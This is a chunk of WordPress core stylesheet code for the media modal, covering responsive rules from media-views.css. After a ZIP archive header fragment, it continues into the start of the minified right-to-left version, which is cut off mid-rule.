	.media-frame:not(.hide-menu) .media-menu {
		display: none;
		width: auto;
		max-width: 80%;
		overflow: auto;
		z-index: 2000;
		top: 75px;
		left: 50%;
		transform: translateX(-50%);
		right: auto;
		bottom: auto;
		padding: 5px 0;
		border: 1px solid #c3c4c7;
	}

	.media-frame:not(.hide-menu) .media-menu.visible {
		display: block;
	}

	.media-frame:not(.hide-menu) .media-menu > a {
		padding: 12px 16px;
		font-size: 16px;
	}

	.media-frame:not(.hide-menu) .media-menu .separator {
		margin: 5px 10px;
	}

	/* Visually hide the menu heading keeping it available to assistive technologies. */
	.media-frame-menu-heading {
		clip-path: inset(50%);
		height: 1px;
		overflow: hidden;
		padding: 0;
		width: 1px;
		border: 0;
		margin: -1px;
		word-wrap: normal !important;
	}

	/* Reveal the menu toggle button. */
	.wp-core-ui .media-frame:not(.hide-menu) .button.media-frame-menu-toggle {
		display: inline-flex;
		align-items: center;
		position: absolute;
		left: 50%;
		transform: translateX(-50%);
		margin: -6px 0 0;
		padding: 0 2px 0 12px;
		font-size: 0.875rem;
		font-weight: 600;
		text-decoration: none;
		background: transparent;
		/* Only for IE11 to vertically align text within the inline-flex button */
		height: 0.1%;
		/* Modern browsers */
		min-height: 40px;
	}

	.wp-core-ui .button.media-frame-menu-toggle:hover,
	.wp-core-ui .button.media-frame-menu-toggle:active {
		background: transparent;
		transform: none;
	}

	.wp-core-ui .button.media-frame-menu-toggle:focus {
		/* Only visible in Windows High Contrast mode */
		outline: 1px solid transparent;
	}
	/* End drop-down menu */

	.media-sidebar {
		width: 230px;
	}

	.options-general-php .crop-content.site-icon,
	.wp-customizer:not(.mobile) .media-frame-content .crop-content.site-icon {
		margin-right: 262px;
	}

	.attachments-browser .attachments,
	.attachments-browser .uploader-inline,
	.attachments-browser .media-toolbar,
	.attachments-browser .attachments-wrapper,
	.attachments-browser.has-load-more .attachments-wrapper {
		right: 262px;
	}

	.attachments-browser .media-toolbar {
		height: 82px;
	}

	.attachments-browser .attachments,
	.attachments-browser .uploader-inline,
	.media-frame-content .attachments-browser .attachments-wrapper {
		top: 82px;
	}

	.media-sidebar .setting,
	.attachment-details .setting {
		margin: 6px 0;
	}

	.media-sidebar .setting input,
	.media-sidebar .setting textarea,
	.media-sidebar .setting .name,
	.attachment-details .setting input,
	.attachment-details .setting textarea,
	.attachment-details .setting .name,
	.compat-item label span {
		float: none;
		display: inline-block;
	}

	.media-sidebar .setting span, /* Back-compat for pre-5.3 */
	.attachment-details .setting span, /* Back-compat for pre-5.3 */
	.media-sidebar .checkbox-label-inline {
		float: none;
	}

	.media-sidebar .setting .select-label-inline {
		display: inline;
	}

	.media-sidebar .setting .name,
	.media-sidebar .checkbox-label-inline,
	.attachment-details .setting .name,
	.compat-item label span {
		text-align: inherit;
		min-height: 16px;
		margin: 0;
		padding: 8px 2px 2px;
	}

	/* Needs high specificity. */
	.media-sidebar .setting .copy-to-clipboard-container,
	.attachment-details .attachment-info .copy-to-clipboard-container {
		margin-left: 0;
		padding-top: 0;
	}

	.media-sidebar .setting .copy-attachment-url,
	.attachment-details .attachment-info .copy-attachment-url {
		margin: 0 1px;
	}

	.media-sidebar .setting .value,
	.attachment-details .setting .value {
		float: none;
		width: auto;
	}

	.media-sidebar .setting input[type="text"],
	.media-sidebar .setting input[type="password"],
	.media-sidebar .setting input[type="email"],
	.media-sidebar .setting input[type="number"],
	.media-sidebar .setting input[type="search"],
	.media-sidebar .setting input[type="tel"],
	.media-sidebar .setting input[type="url"],
	.media-sidebar .setting textarea,
	.media-sidebar .setting select,
	.attachment-details .setting input[type="text"],
	.attachment-details .setting input[type="password"],
	.attachment-details .setting input[type="email"],
	.attachment-details .setting input[type="number"],
	.attachment-details .setting input[type="search"],
	.attachment-details .setting input[type="tel"],
	.attachment-details .setting input[type="url"],
	.attachment-details .setting textarea,
	.attachment-details .setting select,
	.attachment-details .setting + .description {
		float: none;
		width: 98%;
		max-width: none;
		height: auto;
	}

	.media-frame .media-toolbar input[type="search"] {
		line-height: 2.25; /* 36px */
	}

	.media-sidebar .setting select.columns,
	.attachment-details .setting select.columns {
		width: auto;
	}

	.media-frame input,
	.media-frame textarea,
	.media-frame .search {
		padding: 3px 6px;
	}

	.wp-admin .media-frame select {
		min-height: 40px;
		font-size: 16px;
		line-height: 1.625;
		padding: 5px 24px 5px 8px;
	}

	.image-details .column-image {
		width: 30%;
		left: 70%;
	}

	.image-details .column-settings {
		width: 70%;
	}

	.image-details .media-modal {
		left: 30px;
		right: 30px;
	}

	.image-details .embed-media-settings .setting,
	.image-details .embed-media-settings .setting-group {
		margin: 20px;
	}

	.image-details .embed-media-settings .setting span, /* Back-compat for pre-5.3 */
	.image-details .embed-media-settings .setting .name {
		float: none;
		text-align: left;
		width: 100%;
		margin-bottom: 4px;
		margin-left: 0;
	}

	.media-modal .legend-inline {
		position: static;
		transform: none;
		margin-left: 0;
		margin-bottom: 6px;
	}

	.image-details .embed-media-settings .setting-group .setting {
		margin-bottom: 0;
	}

	.image-details .embed-media-settings .setting input.link-to-custom,
	.image-details .embed-media-settings .setting input[type="text"],
	.image-details .embed-media-settings .setting textarea {
		width: 100%;
		margin-left: 0;
	}

	.image-details .embed-media-settings .setting.has-description {
		margin-bottom: 5px;
	}

	.image-details .description {
		width: auto;
		margin: 0 20px;
	}

	.image-details .embed-media-settings .custom-size {
		margin-left: 20px;
	}

	.collection-settings .setting input[type="checkbox"] {
		float: none;
		margin-top: 0;
	}

	.media-selection {
		min-width: 120px;
	}

	.media-selection:after {
		background: none;
	}

	.media-selection .attachments {
		display: none;
	}

	.media-modal .attachments-browser .media-toolbar .search {
		max-width: 100%;
		height: auto;
		float: right;
	}

	.media-modal .attachments-browser .media-toolbar .attachment-filters {
		height: auto;
	}

	/* Text inputs need to be 16px, or they force zooming on iOS */
	.media-frame input[type="text"],
	.media-frame input[type="password"],
	.media-frame input[type="number"],
	.media-frame input[type="search"],
	.media-frame input[type="email"],
	.media-frame input[type="url"],
	.media-frame textarea,
	.media-frame select {
		font-size: 16px;
		line-height: 1.5;
	}

	.media-frame .media-toolbar input[type="search"] {
		line-height: 2.3755; /* 38px */
	}

	.media-modal .media-toolbar .spinner {
		margin-bottom: 10px;
	}
}

@media screen and (max-width: 782px) {
	.imgedit-panel-content {
		grid-template-columns: auto;
	}

	.media-frame-toolbar .media-toolbar {
		bottom: -54px;
	}

	.mode-grid .attachments-browser .media-toolbar-primary {
		display: grid;
		grid-template-columns: auto 1fr;
	}

	.mode-grid .attachments-browser .media-toolbar-primary input[type="search"] {
		width: 100%;
	}

	.media-sidebar .copy-to-clipboard-container .success,
	.attachment-details .copy-to-clipboard-container .success {
		font-size: 14px;
		line-height: 2.71428571;
	}

	.media-frame .wp-filter .media-toolbar-secondary {
		position: unset;
	}

	.media-frame .media-toolbar-secondary .spinner {
		position: absolute;
		top: 0;
		bottom: 0;
		margin: auto;
		left: 0;
		right: 0;
		z-index: 9;
	}

	.media-bg-overlay {
		content: '';
		background: #ffffff;
		width: 100%;
		height: 100%;
		display: none;
		position: absolute;
		left: 0;
		right: 0;
		top: 0;
		bottom: 0;
		opacity: 0.6;
	}
}

/* Responsive on portrait and landscape */
@media only screen and (max-width: 640px), screen and (max-height: 400px) {
	/* Full-bleed modal */
	.media-modal,
	.image-details .media-modal {
		position: fixed;
		top: 0;
		left: 0;
		right: 0;
		bottom: 0;
	}

	.media-modal-backdrop {
		position: fixed;
	}

	.options-general-php .crop-content.site-icon,
	.wp-customizer:not(.mobile) .media-frame-content .crop-content.site-icon {
		margin-right: 0;
	}

	.media-sidebar {
		z-index: 1900;
		max-width: 70%;
		bottom: 120%;
		box-sizing: border-box;
		padding-bottom: 0;
	}

	.media-sidebar.visible {
		bottom: 0;
	}

	.attachments-browser .attachments,
	.attachments-browser .uploader-inline,
	.attachments-browser .media-toolbar,
	.media-frame-content .attachments-browser .attachments-wrapper {
		right: 0;
	}

	.image-details .media-frame-title {
		display: block;
		top: 0;
		font-size: 14px;
	}

	.image-details .column-image,
	.image-details .column-settings {
		width: 100%;
		position: relative;
		left: 0;
	}

	.image-details .column-settings {
		padding: 4px 0;
	}

	/* Media tabs on the top */
	.media-frame-content .media-toolbar .instructions {
		display: none;
	}

	/* Change margin direction on load more button in responsive views. */
	.load-more-wrapper .load-more-jump {
		margin: 12px 0 0;
	}

}

@media only screen and (min-width: 901px) and (max-height: 400px) {
	.media-menu,
	.media-frame:not(.hide-menu) .media-menu {
		top: 0;
		padding-top: 44px;
	}

	/* Change margin direction on load more button in responsive views. */
	.load-more-wrapper .load-more-jump {
		margin: 12px 0 0;
	}

}

@media only screen and (max-width: 480px) {
	.wp-core-ui.wp-customizer .media-button {
		margin-top: 13px;
	}
}

/**
 * HiDPI Displays
 */
@media print,
  (min-resolution: 120dpi) {

	.wp-core-ui .media-modal-icon {
		background-image: url(../images/uploader-icons-2x.png);
		background-size: 134px 15px;
	}

	.media-frame .spinner {
		background-image: url(../images/spinner-2x.gif);
	}
}

.media-frame-content[data-columns="1"] .attachment {
	width: 100%;
}

.media-frame-content[data-columns="2"] .attachment {
	width: 50%;
}

.media-frame-content[data-columns="3"] .attachment {
	width: 33.33%;
}

.media-frame-content[data-columns="4"] .attachment {
	width: 25%;
}

.media-frame-content[data-columns="5"] .attachment {
	width: 20%;
}

.media-frame-content[data-columns="6"] .attachment {
	width: 16.66%;
}

.media-frame-content[data-columns="7"] .attachment {
	width: 14.28%;
}

.media-frame-content[data-columns="8"] .attachment {
	width: 12.5%;
}

.media-frame-content[data-columns="9"] .attachment {
	width: 11.11%;
}

.media-frame-content[data-columns="10"] .attachment {
	width: 10%;
}

.media-frame-content[data-columns="11"] .attachment {
	width: 9.09%;
}

.media-frame-content[data-columns="12"] .attachment {
	width: 8.33%;
}
PK1Xd[����media-views-rtl.min.cssnu�[���/*! This file is auto-generated */
.media-modal *{box-sizing:content-box}.media-modal input,.media-modal select,.media-modal textarea{box-sizing:border-box}.media-frame,.media-modal{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-size:12px;-webkit-overflow-scrolling:touch}.media-modal legend{padding:0;font-size:13px}.media-modal label{font-size:13px}.media-modal .legend-inline{position:absolute;transform:translate(100%,50%);margin-right:-1%;line-height:1.2}.media-frame a{border-bottom:none;color:#2271b1}.media-frame a:active,.media-frame a:hover{color:#135e96}.media-frame a:focus{box-shadow:0 0 0 2px #2271b1;color:#043959;outline:2px solid transparent}.media-frame a.button{color:#2c3338}.media-frame a.button:hover{color:#1d2327}.media-frame a.button-primary,.media-frame a.button-primary:hover{color:#fff}.media-frame input,.media-frame textarea{padding:6px 8px}.media-frame select,.wp-admin .media-frame select{min-height:30px;vertical-align:middle}.media-frame input[type=color],.media-frame input[type=date],.media-frame input[type=datetime-local],.media-frame input[type=datetime],.media-frame input[type=email],.media-frame input[type=month],.media-frame input[type=number],.media-frame input[type=password],.media-frame input[type=search],.media-frame input[type=tel],.media-frame input[type=text],.media-frame input[type=time],.media-frame input[type=url],.media-frame input[type=week],.media-frame select,.media-frame textarea{box-shadow:0 0 0 transparent;border-radius:4px;border:1px solid #8c8f94;background-color:#fff;color:#2c3338;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-size:13px;line-height:1.38461538}.media-frame input[type=date],.media-frame input[type=datetime-local],.media-frame input[type=datetime],.media-frame input[type=email],.media-frame input[type=month],.media-frame input[type=number],.media-frame input[type=password],.media-frame input[type=search],.media-frame input[type=tel],.media-frame input[type=text],.media-frame input[type=time],.media-frame input[type=url],.media-frame input[type=week]{padding:0 8px;line-height:2.15384615}.media-frame.mode-grid .wp-filter input[type=search]{font-size:14px;line-height:2}.media-frame input[type=email]:focus,.media-frame input[type=number]:focus,.media-frame input[type=password]:focus,.media-frame input[type=search]:focus,.media-frame input[type=text]:focus,.media-frame input[type=url]:focus,.media-frame select:focus,.media-frame textarea:focus{border-color:#3582c4;box-shadow:0 0 0 1px #3582c4;outline:2px solid transparent}.media-frame input:disabled,.media-frame input[readonly],.media-frame textarea:disabled,.media-frame textarea[readonly]{background-color:#f0f0f1}.media-frame input[type=search]{-webkit-appearance:textfield}.media-frame ::-webkit-input-placeholder{color:#646970}.media-frame ::-moz-placeholder{color:#646970;opacity:1}.media-frame :-ms-input-placeholder{color:#646970}.media-frame .hidden,.media-frame .setting.hidden{display:none}/*!
 * jQuery UI Draggable/Sortable 1.11.4
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */.ui-draggable-handle,.ui-sortable-handle{touch-action:none}.media-modal{position:fixed;top:30px;right:30px;left:30px;bottom:30px;z-index:160000}.wp-customizer .media-modal{z-index:560000}.media-modal-backdrop{position:fixed;top:0;right:0;left:0;bottom:0;min-height:360px;background:#000;opacity:.7;z-index:159900}.wp-customizer .media-modal-backdrop{z-index:559900}.media-modal-close{position:absolute;top:0;left:0;width:50px;height:50px;margin:0;padding:0;border:1px solid transparent;background:0 0;color:#646970;z-index:1000;cursor:pointer;outline:0;transition:color .1s ease-in-out,background .1s ease-in-out}.media-modal-close:active,.media-modal-close:hover{color:#135e96}.media-modal-close:focus{color:#135e96;border-color:#4f94d4;box-shadow:0 0 3px rgba(34,113,177,.8);outline:2px solid transparent}.media-modal-close span.media-modal-icon{background-image:none}.media-modal-close .media-modal-icon:before{content:"\f158";font:normal 20px/1 dashicons;speak:never;vertical-align:middle;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.media-modal-content{position:absolute;top:0;right:0;left:0;bottom:0;overflow:auto;min-height:300px;box-shadow:0 5px 15px rgba(0,0,0,.7);background:#fff;-webkit-font-smoothing:subpixel-antialiased}.media-modal-content .media-frame select.attachment-filters{margin-top:32px;margin-left:2%;width:42%;width:calc(48% - 12px)}.wp-core-ui .media-modal-icon{background-image:url(../images/uploader-icons.png);background-repeat:no-repeat}.media-toolbar{position:absolute;top:0;right:0;left:0;z-index:100;height:60px;padding:0 16px;border:0 solid #dcdcde;overflow:hidden}.media-frame-toolbar .media-toolbar{top:auto;bottom:-47px;height:auto;overflow:visible;border-top:1px solid #dcdcde}.media-toolbar-primary{float:left;height:100%;position:relative}.media-toolbar-secondary{float:right;height:100%}.media-toolbar-primary>.media-button,.media-toolbar-primary>.media-button-group{margin-right:10px;float:right;margin-top:15px}.media-toolbar-secondary>.media-button,.media-toolbar-secondary>.media-button-group{margin-left:10px;margin-top:15px}.media-sidebar{position:absolute;top:0;left:0;bottom:0;width:267px;padding:0 16px;z-index:75;background:#f6f7f7;border-right:1px solid #dcdcde;overflow:auto;-webkit-overflow-scrolling:touch}.media-sidebar::after{content:"";display:flex;clear:both;height:24px}.hide-toolbar .media-sidebar{bottom:0}.image-details .media-embed h2,.media-sidebar h2{position:relative;font-weight:600;text-transform:uppercase;font-size:12px;color:#646970;margin:24px 0 8px}.attachment-details .setting,.media-sidebar .setting{display:block;float:right;width:100%;margin:0 0 10px}.attachment-details h2{display:grid;grid-template-columns:auto 5em}.media-sidebar .collection-settings .setting{margin:1px 0}.attachment-details .setting.has-description,.media-sidebar .setting.has-description{margin-bottom:5px}.media-sidebar .setting .link-to-custom{margin:3px 2px 0}.attachment-details .setting .name,.attachment-details .setting span,.media-sidebar .setting .name,.media-sidebar .setting .value,.media-sidebar .setting span{min-width:30%;margin-left:4%;font-size:12px;text-align:left;word-wrap:break-word}.media-sidebar .setting .name{max-width:80px}.media-sidebar .setting .value{text-align:right}.media-sidebar .setting select{max-width:65%}.attachment-details .field input[type=checkbox],.attachment-details .field input[type=radio],.attachment-details .setting input[type=checkbox],.attachment-details .setting input[type=radio],.media-sidebar .field input[type=checkbox],.media-sidebar .field input[type=radio],.media-sidebar .setting input[type=checkbox],.media-sidebar .setting input[type=radio]{float:none;margin:8px 3px 0;padding:0}.attachment-details .setting .name,.attachment-details .setting .value,.attachment-details .setting span,.compat-item label span,.media-sidebar .checkbox-label-inline,.media-sidebar .setting .name,.media-sidebar .setting .value,.media-sidebar .setting span{float:right;min-height:22px;padding-top:8px;line-height:1.33333333;font-weight:400;color:#646970}.media-sidebar .checkbox-label-inline{font-size:12px}.attachment-details .copy-to-clipboard-container,.media-sidebar .copy-to-clipboard-container{flex-wrap:wrap;margin-top:10px;margin-right:calc(35% - 1px);padding-top:10px}.attachment-details .attachment-info .copy-to-clipboard-container{float:none}.attachment-details .copy-to-clipboard-container .success,.media-sidebar .copy-to-clipboard-container .success{padding:0;min-height:0;line-height:2.18181818;text-align:right;color:#007017}.compat-item label span{text-align:left}.attachment-details .setting .value,.attachment-details .setting input[type=email],.attachment-details .setting input[type=number],.attachment-details .setting input[type=password],.attachment-details .setting input[type=search],.attachment-details .setting input[type=tel],.attachment-details .setting input[type=text],.attachment-details .setting input[type=url],.attachment-details .setting textarea,.attachment-details .setting+.description,.media-sidebar .setting .value,.media-sidebar .setting input[type=email],.media-sidebar .setting input[type=number],.media-sidebar .setting input[type=password],.media-sidebar .setting input[type=search],.media-sidebar .setting input[type=tel],.media-sidebar .setting input[type=text],.media-sidebar .setting input[type=url],.media-sidebar .setting textarea{box-sizing:border-box;margin:1px;width:65%;float:left}.attachment-details .setting .value,.attachment-details .setting+.description,.media-sidebar .setting .value{margin:0 1px;text-align:right}.attachment-details .setting+.description{clear:both;font-size:12px;font-style:normal;margin-bottom:10px}.attachment-details .setting textarea,.compat-item .field textarea,.media-sidebar .setting textarea{height:62px;resize:vertical}.alt-text textarea,.attachment-details .alt-text textarea,.compat-item .alt-text textarea,.media-sidebar .alt-text textarea{height:50px}.compat-item{float:right;width:100%;overflow:hidden}.compat-item table{width:100%;table-layout:fixed;border-spacing:0;border:0}.compat-item tr{padding:2px 0;display:block;overflow:hidden}.compat-item .field,.compat-item .label{display:block;margin:0;padding:0}.compat-item .label{min-width:30%;margin-left:4%;float:right;text-align:left}.compat-item .label span{display:block;width:100%}.compat-item .field{float:left;width:65%;margin:1px}.compat-item .field input[type=email],.compat-item .field input[type=number],.compat-item .field input[type=password],.compat-item .field input[type=search],.compat-item .field input[type=tel],.compat-item .field input[type=text],.compat-item .field input[type=url],.compat-item .field textarea{width:100%;margin:0;box-sizing:border-box}.sidebar-for-errors .attachment-details,.sidebar-for-errors .compat-item,.sidebar-for-errors .media-sidebar .media-progress-bar,.sidebar-for-errors .upload-details{display:none!important}.media-menu{position:absolute;top:0;right:0;left:0;bottom:0;margin:0;padding:50px 0 10px;background:#f6f7f7;border-left-width:1px;border-left-style:solid;border-left-color:#c3c4c7;-webkit-user-select:none;user-select:none}.media-menu .media-menu-item{display:block;box-sizing:border-box;width:100%;position:relative;border:0;margin:0;padding:8px 20px;font-size:14px;line-height:1.28571428;background:0 0;color:#2271b1;text-align:right;text-decoration:none;cursor:pointer}.media-menu .media-menu-item:hover{background:rgba(0,0,0,.04)}.media-menu .media-menu-item:active{color:#2271b1;outline:0}.media-menu .active,.media-menu .active:hover{color:#1d2327;font-weight:600}.media-menu .media-menu-item:focus{box-shadow:0 0 0 2px #2271b1;color:#043959;outline:2px solid transparent}.media-menu .separator{height:0;margin:12px 20px;padding:0;border-top:1px solid #dcdcde}.media-router{position:relative;padding:0 6px;margin:0;clear:both}.media-router .media-menu-item{position:relative;float:right;border:0;margin:0;padding:8px 10px 9px;height:18px;line-height:1.28571428;font-size:14px;text-decoration:none;background:0 0;cursor:pointer;transition:none}.media-router .media-menu-item:last-child{border-left:0}.media-router .media-menu-item:active,.media-router .media-menu-item:hover{color:#2271b1}.media-router .active,.media-router .active:hover{color:#1d2327}.media-router .media-menu-item:focus{box-shadow:0 0 0 2px #2271b1;color:#043959;outline:2px solid transparent;z-index:1}.media-router .active,.media-router .media-menu-item.active:last-child{margin:-1px -1px 0;background:#fff;border:1px solid #dcdcde;border-bottom:none}.media-router .active:after{display:none}.media-frame{overflow:hidden;position:absolute;top:0;right:0;left:0;bottom:0}.media-frame-menu{position:absolute;top:0;right:0;bottom:0;width:200px;z-index:150}.media-frame-title{position:absolute;top:0;right:200px;left:0;height:50px;z-index:200}.media-frame-router{position:absolute;top:50px;right:200px;left:0;height:36px;z-index:200}.media-frame-content{position:absolute;top:84px;right:200px;left:0;bottom:61px;height:auto;width:auto;margin:0;overflow:auto;background:#fff;border-top:1px solid #dcdcde}.media-frame-toolbar{position:absolute;right:200px;left:0;z-index:100;bottom:60px;height:auto}.media-frame.hide-menu .media-frame-content,.media-frame.hide-menu .media-frame-router,.media-frame.hide-menu .media-frame-title,.media-frame.hide-menu .media-frame-toolbar{right:0}.media-frame.hide-toolbar .media-frame-content{bottom:0}.media-frame.hide-router .media-frame-content{top:50px}.media-frame.hide-menu .media-frame-menu,.media-frame.hide-menu .media-frame-menu-heading,.media-frame.hide-router .media-frame-router,.media-frame.hide-toolbar .media-frame-toolbar{display:none}.media-frame-title h1{padding:0 16px;font-size:22px;line-height:2.27272727;margin:0}.media-attachments-filter-heading,.media-frame-menu-heading{position:absolute;right:20px;top:22px;margin:0;font-size:13px;line-height:1;z-index:151}.media-attachments-filter-heading{top:10px;right:16px}.mode-grid .media-attachments-filter-heading{top:0;right:-9999px}.mode-grid .media-frame-actions-heading{display:none}.wp-core-ui .button.media-frame-menu-toggle{display:none}.media-frame-title .suggested-dimensions{font-size:14px;float:left;margin-left:20px}.media-frame-content .crop-content{height:100%}.options-general-php .crop-content.site-icon,.wp-customizer:not(.mobile) .media-frame-content .crop-content.site-icon{margin-left:300px}.media-frame-content .crop-content .crop-image{display:block;margin:auto;max-width:100%;max-height:100%}.media-frame-content .crop-content .upload-errors{position:absolute;width:300px;top:50%;right:50%;margin-right:-150px;margin-left:-150px;z-index:600000}.media-frame .media-iframe{overflow:hidden}.media-frame .media-iframe,.media-frame .media-iframe iframe{height:100%;width:100%;border:0}.media-frame select.attachment-filters{margin-top:11px;margin-left:2%;max-width:42%;max-width:calc(48% - 12px)}.media-frame select.attachment-filters:last-of-type{margin-left:0}.media-frame .search{margin:32px 0 0;padding:4px;font-size:13px;color:#3c434a;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;-webkit-appearance:none}.media-toolbar-primary .search{max-width:100%}.media-modal .media-frame .media-search-input-label{position:absolute;right:0;top:10px;margin:0;line-height:1}.wp-core-ui .attachments{margin:0;-webkit-overflow-scrolling:touch}.wp-core-ui .attachment{position:relative;float:right;padding:8px;margin:0;color:#3c434a;cursor:pointer;list-style:none;text-align:center;-webkit-user-select:none;user-select:none;width:25%;box-sizing:border-box}.wp-core-ui .attachment.details:focus,.wp-core-ui .attachment:focus,.wp-core-ui .selected.attachment:focus{box-shadow:inset 0 0 2px 3px #fff,inset 0 0 0 7px #4f94d4;outline:2px solid transparent;outline-offset:-6px}.wp-core-ui .selected.attachment{box-shadow:inset 0 0 0 5px #fff,inset 0 0 0 7px #c3c4c7}.wp-core-ui .attachment.details{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #2271b1}.wp-core-ui .attachment-preview{position:relative;box-shadow:inset 0 0 15px rgba(0,0,0,.1),inset 0 0 0 1px rgba(0,0,0,.05);background:#f0f0f1;cursor:pointer}.wp-core-ui .attachment-preview:before{content:"";display:block;padding-top:100%}.wp-core-ui .attachment .icon{margin:0 auto;overflow:hidden}.wp-core-ui .attachment .thumbnail{overflow:hidden;position:absolute;top:0;left:0;bottom:0;right:0;opacity:1;transition:opacity .1s}.wp-core-ui .attachment .portrait img{max-width:100%}.wp-core-ui .attachment .landscape img{max-height:100%}.wp-core-ui .attachment .thumbnail:after{content:"";display:block;position:absolute;top:0;right:0;left:0;bottom:0;box-shadow:inset 0 0 0 1px rgba(0,0,0,.1);overflow:hidden}.wp-core-ui .attachment .thumbnail img{top:0;right:0}.wp-core-ui .attachment .thumbnail .centered{position:absolute;top:0;right:0;width:100%;height:100%;transform:translate(-50%,50%)}.wp-core-ui .attachment .thumbnail .centered img{transform:translate(50%,-50%)}.wp-core-ui .attachments-browser .attachment .thumbnail .centered img.icon{transform:translate(50%,-70%)}.wp-core-ui .attachment .filename{position:absolute;right:0;left:0;bottom:0;overflow:hidden;max-height:100%;word-wrap:break-word;text-align:center;font-weight:600;background:rgba(255,255,255,.8);box-shadow:inset 0 0 0 1px rgba(0,0,0,.15)}.wp-core-ui .attachment .filename div{padding:5px 10px}.wp-core-ui .attachment .thumbnail img{position:absolute}.wp-core-ui .attachment-close{display:block;position:absolute;top:5px;left:5px;height:22px;width:22px;padding:0;background-color:#fff;background-position:-96px 4px;border-radius:3px;box-shadow:0 0 0 1px rgba(0,0,0,.3);transition:none}.wp-core-ui .attachment-close:focus,.wp-core-ui .attachment-close:hover{background-position:-36px 4px}.wp-core-ui .attachment .check{display:none;height:24px;width:24px;padding:0;border:0;position:absolute;z-index:10;top:0;left:0;outline:0;background:#f0f0f1;cursor:pointer;box-shadow:0 0 0 1px #fff,0 0 0 2px rgba(0,0,0,.15)}.wp-core-ui .attachment .check .media-modal-icon{display:block;background-position:-1px 0;height:15px;width:15px;margin:5px}.wp-core-ui .attachment .check:hover .media-modal-icon{background-position:-40px 0}.wp-core-ui .attachment.selected .check{display:block}.wp-core-ui .attachment.details .check,.wp-core-ui .attachment.selected .check:focus,.wp-core-ui .media-frame.mode-grid .attachment.selected .check{background-color:#2271b1;box-shadow:0 0 0 1px #fff,0 0 0 2px #2271b1}.wp-core-ui .attachment.selected .check:focus{outline:2px solid transparent}.wp-core-ui .attachment.details .check .media-modal-icon,.wp-core-ui .media-frame.mode-grid .attachment.selected .check .media-modal-icon{background-position:-21px 0}.wp-core-ui .attachment.details .check:hover .media-modal-icon,.wp-core-ui .attachment.selected .check:focus .media-modal-icon,.wp-core-ui .media-frame.mode-grid .attachment.selected .check:hover .media-modal-icon{background-position:-60px 0}.wp-core-ui .media-frame .attachment .describe{position:relative;display:block;width:100%;margin:0;padding:0 8px;font-size:12px;border-radius:0}.media-frame .attachments-browser{position:relative;width:100%;height:100%;overflow:hidden}.attachments-browser .media-toolbar{left:300px;height:72px;background:#fff}.attachments-browser.hide-sidebar .media-toolbar{left:0}.attachments-browser .media-toolbar-primary>.media-button,.attachments-browser .media-toolbar-primary>.media-button-group,.attachments-browser .media-toolbar-secondary>.media-button,.attachments-browser .media-toolbar-secondary>.media-button-group{margin:10px 0}.attachments-browser .attachments{padding:2px 8px 8px}.attachments-browser .uploader-inline,.attachments-browser.has-load-more .attachments-wrapper,.attachments-browser:not(.has-load-more) .attachments{position:absolute;top:72px;right:0;left:300px;bottom:0;overflow:auto;outline:0}.attachments-browser .uploader-inline.hidden{display:none}.attachments-browser .media-toolbar-primary{max-width:33%}.mode-grid .attachments-browser .media-toolbar-primary{display:flex;align-items:center;column-gap:.5rem;margin:11px 0}.mode-grid .attachments-browser .media-toolbar-mode-select .media-toolbar-primary{display:none}.attachments-browser .media-toolbar-secondary{max-width:66%}.uploader-inline .close{background-color:transparent;border:0;cursor:pointer;height:48px;outline:0;padding:0;position:absolute;left:2px;text-align:center;top:2px;width:48px;z-index:1}.uploader-inline .close:before{font:normal 30px/1 dashicons!important;color:#50575e;display:inline-block;content:"\f335";font-weight:300;margin-top:1px}.uploader-inline .close:focus{outline:1px solid #4f94d4;box-shadow:0 0 3px rgba(34,113,177,.8)}.attachments-browser.hide-sidebar .attachments,.attachments-browser.hide-sidebar .uploader-inline{left:0;margin-left:0}.attachments-browser .instructions{display:inline-block;margin-top:16px;line-height:1.38461538;font-size:13px;color:#646970}.attachments-browser .no-media{padding:2em 2em 0 0}.more-loaded .attachment:not(.found-media){background:#dcdcde}.load-more-wrapper{clear:both;display:flex;flex-wrap:wrap;align-items:center;justify-content:center;padding:1em 0}.load-more-wrapper .load-more-count{min-width:100%;margin:0 0 1em;text-align:center}.load-more-wrapper .load-more{margin:0}.media-frame .load-more-wrapper .load-more+.spinner{float:none;margin:0 10px 0 -30px}.media-frame .load-more-wrapper .load-more.hidden+.spinner{margin:0}.load-more-wrapper::after{content:"";min-width:100%;order:1}.load-more-wrapper .load-more-jump{margin:0 12px 0 0}.attachment.new-media{outline:2px dotted #c3c4c7}.media-progress-bar{position:relative;height:10px;width:70%;margin:10px auto;border-radius:10px;background:#dcdcde;background:rgba(0,0,0,.1)}.media-progress-bar div{height:10px;min-width:20px;width:0;background:#2271b1;border-radius:10px;transition:width .3s}.media-uploader-status .media-progress-bar{display:none;width:100%}.uploading.media-uploader-status .media-progress-bar{display:block}.attachment-preview .media-progress-bar{position:absolute;top:50%;right:15%;width:70%;margin:-5px 0 0}.media-uploader-status{position:relative;margin:0 auto;padding-bottom:10px;max-width:400px}.uploader-inline .media-uploader-status h2{display:none}.media-uploader-status .upload-details{display:none;font-size:12px;color:#646970}.uploading.media-uploader-status .upload-details{display:block}.media-uploader-status .upload-detail-separator{padding:0 4px}.media-uploader-status .upload-count{color:#3c434a}.media-uploader-status .upload-dismiss-errors,.media-uploader-status .upload-errors{display:none}.errors.media-uploader-status .upload-dismiss-errors,.errors.media-uploader-status .upload-errors{display:block}.media-uploader-status .upload-dismiss-errors{transition:none;text-decoration:none}.upload-errors .upload-error{padding:12px;margin-bottom:12px;background:#fff;border-right:4px solid #d63638;box-shadow:0 1px 1px 0 rgba(0,0,0,.1)}.uploader-inline .upload-errors .upload-error{padding:12px 30px;background-color:#fcf0f1;box-shadow:none}.upload-errors .upload-error-filename{font-weight:600}.upload-errors .upload-error-message{display:block;padding-top:8px;word-wrap:break-word}.uploader-window,.wp-editor-wrap 